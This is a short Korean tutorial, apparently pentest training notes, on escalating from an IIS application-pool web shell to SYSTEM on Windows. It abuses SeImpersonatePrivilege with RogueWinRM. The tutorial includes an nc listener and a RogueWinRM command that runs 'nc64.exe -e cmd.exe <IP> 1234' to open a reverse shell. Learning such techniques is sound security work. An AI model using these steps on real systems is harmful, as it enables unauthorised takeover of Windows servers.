- `SeImpersonatePrivilege` 또는 `SeAssignPrimaryTokenPrivilege`를 악용하여 SYSTEM 권한을 획득하는 방법. - 여기서는 `RogueWinRM`이라는 도구를 활용한 방법을 사용해 SYSTEM 쉘을 얻을 것이다. # 1. 공격 조건 정리 우리는 이미 IIS 웹 서버에 웹 쉘을 업로드 해 IIS Application Pool 계정 (ex: `iisapppool\defaultapppool`)의 권한으로 명령을 실행할 수 있다고 하자. # 2. 해당 계정이 SeImpersonate/SeAssignPrimaryToken 권한을 가지고 있는지 확인 웹쉘을 통해 다음 명령을 실행 ```powershell whoami /priv ``` 출력에서 다음이 보이면 준비 완료 ```powershell SeImpersonatePrivilege Disabled SeAssignPrimaryTokenPrivilege Disabled ``` - `Disabled`로 되어있어도 필요할 때 자동 활성화됨. - 현재 실행 중인 프로세스에서는 '아직 이 권한을 사용하고 있지 않다'는 의미. - 하지만 '필요한 순간에 `Enable`할 수 있는 자격이 있다'라는 의미로 받아들이면 된다. # 3. 공격 시나리오 이해 - Windows의 `BITS` 서비스는 시작될 때 SYSTEM 권한으로 포트 5985 (`WinRM 포트`)에 자동 연결. - `BITS`는 Background Intelligent Transfer Service - 실행 파일: `svchost.exe`로 여러 서비스 중 하나로 실행됨. - 공격자는 포트 5985에서 가짜 WinRM 서비스를 띄우고 SYSTEM 연결을 가로채 그 토큰을 "가로채서" 명령을 실행할 수 있음. - 이걸 가능하게 하는 도구가 바로 `RogueWinRM.exe` # 4. 공격자의 머신에서 리버스 쉘 리스너 실행 ```bash nc -lvnp 1234 ``` # 5. 웹쉘을 통해 RogueWinRM 실행 ```powershell C:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe <IP> 1234" ``` - `-p`: 실행할 바이너리 경로. 여기서는 `nc64.exe` - `-a`: netcat에 넘길 인자 (`-e cmd.exe <IP> 1234`) # 6. 칼리 리스너에서 SYSTEM 쉘 획득